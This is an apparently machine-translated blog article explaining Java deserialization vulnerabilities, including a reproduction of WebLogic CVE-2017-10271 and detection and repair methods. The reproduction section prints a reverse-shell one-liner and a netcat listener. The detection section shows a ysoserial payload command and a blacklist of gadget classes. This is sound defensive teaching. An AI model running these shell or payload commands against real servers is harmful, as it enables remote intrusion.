Principle analysis and defense repair method of java reverse sequence vulnerability

Principle of Java deserialization vulnerability

Speaking of java deserialization vulnerabilities, I believe many people will not be unfamiliar. This vulnerability, which was first exposed in 2015, almost swept all major web servers including Weblogic, WebSphere, JBoss, Jenkins, etc. Development variants, various language tools in turn broke the existence of available deserialization loopholes.

With a network-wide analysis and shodan scan, to date, there are still 136,818 servers on the global public network that still have deserialization vulnerabilities.
Why this loophole has such a big impact, but it is still unpredictable. Through this article, Metron No. 59 Security Lab will analyze the principle of java deserialization vulnerability for everyone, looking for defense methods and repair methods.

1. What is java serialization and deserialization?

Java serialization refers to the process of converting a Java object into a sequence of bytes, so that it can be stored in memory, files, and databases. The writeObject () method of the ObjectOutputStream class can be serialized.

Java deserialization refers to the process of restoring a sequence of bytes to a Java object. The readObject () method of the ObjectInputStream class is used for deserialization.

Insert picture description here

Serialization and deserialization are a means to get Java objects out of the Java runtime environment. They can easily store and transfer data to achieve communication between multiple platforms and persistent storage of objects. Mainly used in the following scenarios:

  1. After the server is started, it will not be shut down under normal circumstances. If it is forced to restart, and the user is still performing the corresponding operation, in order to ensure that the user information will not be lost and achieve temporary storage, serialization is required to save the session information on the hard disk Medium, reload after the server restarts.
  2. In many applications, it is necessary to serialize some objects, let them leave the memory space, and stay in the physical hard disk, in order to reduce memory pressure or facilitate long-term storage.

2. Causes of Java deserialization vulnerability

We need to be clear:Java's serialization and deserialization itself is not a problem, but if the java application deserializes user input, that is, untrusted data, then the attacker can construct malicious input to make the deserialization produce unexpected Objects, rather than expected objects, may have the consequences of arbitrary code execution during the generation process.
So the root cause of this problem is that when the ObjectInputStream class is deserialized, there is no restriction on the type of the generated object; because of this, the standard library provided by java and a large number of third-party public class libraries have become the key to the exploitation of the deserialization vulnerability.

3. Development history of Java deserialization vulnerability

  • Since 2011, attackers have used the deserialization problem to launch attacks
  • On November 6, 2015, @breenmachine of the FoxGlove Security security team posted a long blog post explaining the real case of using java deserialization and Apache Commons Collections as the basic class library to implement remote command execution. Zhongzhao, this vulnerability swept the latest version of WebLogic, WebSphere, JBoss, Jenkins, OpenNMS.
  • Spring and RMI integration deserialization vulnerability in Java in 2016, allowing hundreds of hosts to be accessed remotely
  • At the end of 2017, the mining storm caused by WebLogic XML deserialization caused the deserialization vulnerability to once again attract heated discussion.
  • From 2018 to the present, security researchers have reported that there are also deserialization vulnerabilities in XML, Json, Yaml, PHP, Python, .NET. The deserialization vulnerabilities have been on the road. . .

4. Principle of Java Deserialization Vulnerability Formation

Instantiate a USER object, create a new file input stream fileout, and then create an object input stream out that points to fileout, and then use the writeObject () method to serialize the object and save it in the file.
Insert picture description here
Use winhex to open the file. You can find it at the beginning of the file content. AC ED 00 05 is a feature of serialized content.
Insert picture description here
Once again instantiate a USER object, use the readObject () method to deserialize the content in the file, and the
Insert picture description here
problem of obtaining the USER object appears. The custom USER class implements Serializable The interface rewrites the readObject () method and returns the Runtime.getRuntime.exec ("calc.exe") command to open the calculator.
Insert picture description here
Insert picture description here
It is worth noting that only objects of the class that implements the Serializable interface can be serialized. The Serializable interface is an interface that enables its serialization function. Classes that do not implement this interface will not be able to serialize or reverse any of their states. Serialization. The function of readObject () method is to read a sequence of bytes from a source input stream, and then deserialize them into an object, and return it. ReadObject () can be rewritten and can be customized deserialization Some behaviors.

5. WebLogic XMLDecoder deserialization vulnerability (CVE-2017-10271)

0x01 Vulnerability description

From 17 to 18 years, a large number of hackers used the weblogic deserialization vulnerability CVE-2017-3248 and the remote code execution vulnerability CVE-2017-10271 of the weblogic WLS LS component. Oracle officially released a patch for the vulnerability in October 2017. The details of the vulnerability are not disclosed. If the enterprise does not install the patch in time, there is a risk of being attacked. A large-scale remote attack was launched on enterprise servers, which caused a serious threat to a large number of enterprise servers. Affected versions: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0

0x02 attack description

After the attacker selects the target host to attack, the WebLogic WLS component vulnerability (CVE-2017-10271) is used to call wget in Linux to download the shell script and call Linux local "/ bin / bash" to execute the shell script.
The vulnerability appears in wls-wsat.war. This component uses weblogic's own webservices handler to process SOAP requests. First, the XML data is obtained in the weblogic.wsee.jaxws.workcontext.WorkContextServerTube class and finally passed to XMLDecoder for analysis. The call chain for parsing XML is
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
weblogic.wsee.workarea.WorkContextXmlInputAdapter

Insert picture description here
The weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest method obtains the localHeader1 and passes it to the readHeaderOld method, which contains the data wrapped in work: WorkContext . The WebContext.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
Insert picture description here
method instantiates the WorkContextXmlInputAdapter class. And pass the obtained serialized data in XML format to this kind of construction method. Finally, the deserialization operation is performed through XMLDecoder.
Insert picture description here

0x03 vulnerability recurrence

Under normal circumstances, weblogic will open ports 7001 and
7002. Use the repeater function in burpsuit to copy the poc into it. The
most important thing to modify the host and port is to change it into a sentence rebound shell at xxxxx in xxxxxx
/bin/bash -I > /dev/tcp/172.30.70.1/8888 0<&1 2>&1
Insert picture description here
Execute nc -l -p 8888 to enable monitoring of port
8888. Send the poc written in BurpSuit and get a rebound shell on your host.
Insert picture description here

6. How to find java deserialization vulnerability

a. Traces of serialization found in the traffic, keywords: ac ed 00 05, rO0AB
b. Transmission of Java RMI 100% Based on deserialization, the default port of Java RMI is 1099 port
c. Starting from the source code, can be sequence The serialized class must implement the Serializable interface
d. Observe whether the readObject () method is rewritten during deserialization, and whether there is any unreasonable design in the rewriting, which can be used

7. Java deserialization vulnerability prevention measures

a. Code audit

Deserialization operations are generally used in business scenarios such as importing template files, network communication, data transmission, log format storage, object data on disk or DB storage.In code audits, you can focus on some deserialization operation functions and determine whether the input can Control, as follows:

ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject

At the same time, we must also pay attention to whether the third jar package provides some public deserialization operation interfaces. If there is no corresponding security verification such as a whitelist verification scheme, and the input is controllable, there may be security issues.

b. Advanced audit

It is better to audit the point of directly obtaining user input for deserialization operation and found that the current deserialization vulnerability has been talked about too many times, so experienced developers will have corresponding fixes in the code. But not all repairs are impeccable. For example, the repair method of blacklist verification is adopted, and for this kind of repair, new "gadget" can be tried in the engineering code.

Deserialization operations are used in the code, so there must be classes that can be deserialized in the project itself, including Java itself and third-party libraries. There are a large number of such classes. One of the characteristics of classes that can be deserialized is that This class must implement the Serializable interface, the Serializable interface is the interface that enables its serialization function, and the class that implements the java.io.Serializable interface is serializable.
Therefore, you can pay special attention to these classes during code auditing, analyze and confirm whether it is possible to be used by serialization vulnerabilities to execute arbitrary code. Discover new available classes to break through some applications that use blacklists for verification.

c. White box detection

There are many applications for large enterprises, each of which is unrealistic to manually audit, and often has a corresponding automated static code audit tool. Here takes ObjectInputStream.readObject () as an example. The detection principles of other deserialization interfaces are also similar. In the automatic detection, the java source code can be parsed by implementation to detect whether the object is java.io.ObjectOutputStream when the readObject () method is called. If the initialization parameters of the ObjectInputStream object come from the external request input parameters at this time, you can basically determine that there is a deserialization vulnerability. This is just to confirm whether there is a corresponding security fix.

d. Black box detection

Call ysoserial and sequentially generate the utilization payload of each third-party library (you can also analyze the third-party package first, and you can call the paylaod of the several libraries at most). The payload is constructed as a payload to access a specific url link, according to the http access request Record to determine whether the deserialization vulnerability is successfully used. Such as:

java -jar ysoserial.jar CommonsCollections1 'curl "+ URL +"'
can also determine whether the vulnerability exists through DNS resolution records. .

e. RASP testing

The readObject method of the ObjectInputStream class in the Java program is used to deserialize the data stream into an object. If the object in the stream is a class, its ObjectStreamClass descriptor will be read and return the corresponding class object. ObjectStreamClass contains the class The name and serialVersionUID.

The name of the class and the ObjectStreamClass descriptor of serialVersionUID are in front of the serialized object stream, and when readObject is deserialized, resolveClass is first called to read the deserialized class name, so RASP can be rewritten when it detects a deserialization vulnerability The resolveClass method of the ObjectInputStream object can obtain the deserialized class to implement the blacklist verification of the deserialized class.

f. Attack detection

By looking at the deserialized data, you can see that the deserialized data contains two bytes of magic numbers at the beginning, and these two bytes are always 0xAC ED in hexadecimal. Next is the two-byte version number. I have only seen data with version number 5 (0x00 05). Considering the various encodings of zip and base64, when the attack is detected, the feature can be matched to request whether the post contains deserialization data to determine whether it is a deserialization vulnerability attack.

xxxdeMacBook-Pro:demo xxx$ xxd objectexp
00000000: aced 0005 7372 0032 7375 6e2e 7265 666c …sr.2sun.refl
00000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
00000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
00000030: 696f 6e48 616e 646c 6572 55ca f50f 15cb ionHandlerU…

However, only the feature matching can only determine that there is an attack attempt request, and it cannot be determined that there is a deserialization vulnerability. It is also necessary to combine the request response and the returned content to determine whether there is indeed a vulnerability.

8. Java deserialization vulnerability repair solution:

a. Check the deserialized class by Hook resolveClass

Through the above serialized data structure, you can know that the ObjectStreamClass descriptor that contains the name of the class and serialVersionUID is in front of the serialized object stream, and when readObject is deserialized, it first calls resolveClass to read the deserialized class name, so Here we can achieve the verification of the deserialization class by rewriting the resolveClass method of the ObjectInputStream object. This method was first proposed by IBM researcher Pierre Ernst in 2013, "Look-ahead Java deserialization". The specific implementation code examples are as follows:
Insert picture description here
Through this method, the whitelist that allows deserialization classes can be flexibly set, or not. Blacklists that allow deserialization of classes. However, the use of deserialization vulnerabilities has been constantly discovered, the blacklist needs to be updated and maintained, and undisclosed utilization methods cannot be overwritten.

b. Use ObjectInputFilter to verify the deserialized class

Java 9 includes new features that support serialized data filtering. Developers can also inherit the java.io.ObjectInputFilter class to override the checkInput method to implement a custom filter, and use the setObjectInputFilter of the ObjectInputStream object to set the filter to achieve deserialization White / black list control. The sample code is as follows:

Insert picture description here

c. Blacklist check repair

Set a blacklist of classes during deserialization to prevent the use and attacks of deserialization vulnerabilities. This method is not the recommended method when the source code is repaired, because you cannot guarantee to cover all possible classes, and there are new uses When the payload comes out, the blacklist needs to be updated accordingly.

However, in some scenarios, you may have to choose the blacklist solution. When writing code, we will always encapsulate some frequently used methods into public classes, so that other projects only need to import jar packages. I have seen many public interfaces that provide deserialization operations before, using third-party libraries The deserialization interface is not easy to fix with the whitelist method. At this time, as a third-party library, I do n’t know who will call the interface and what class will be deserialized, so this time you can use the blacklist method to prohibit some known dangerous classes from being deserialized. Some blacklist classes are as follows:

org.apache.commons.collections.functors.InvokerTransformer
org.apache.commons.collections.functors.InstantiateTransformer
org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.collections4.functors.InstantiateTransformer
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.MethodClosure
org.springframework.beans.factory.ObjectFactory
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
org.apache.commons.fileupload
org.apache.commons.beanutils

Published 21 original articles · won 14 · visited 4075

Guess you like

Origin blog.csdn.net/m0_38103658/article/details/100581450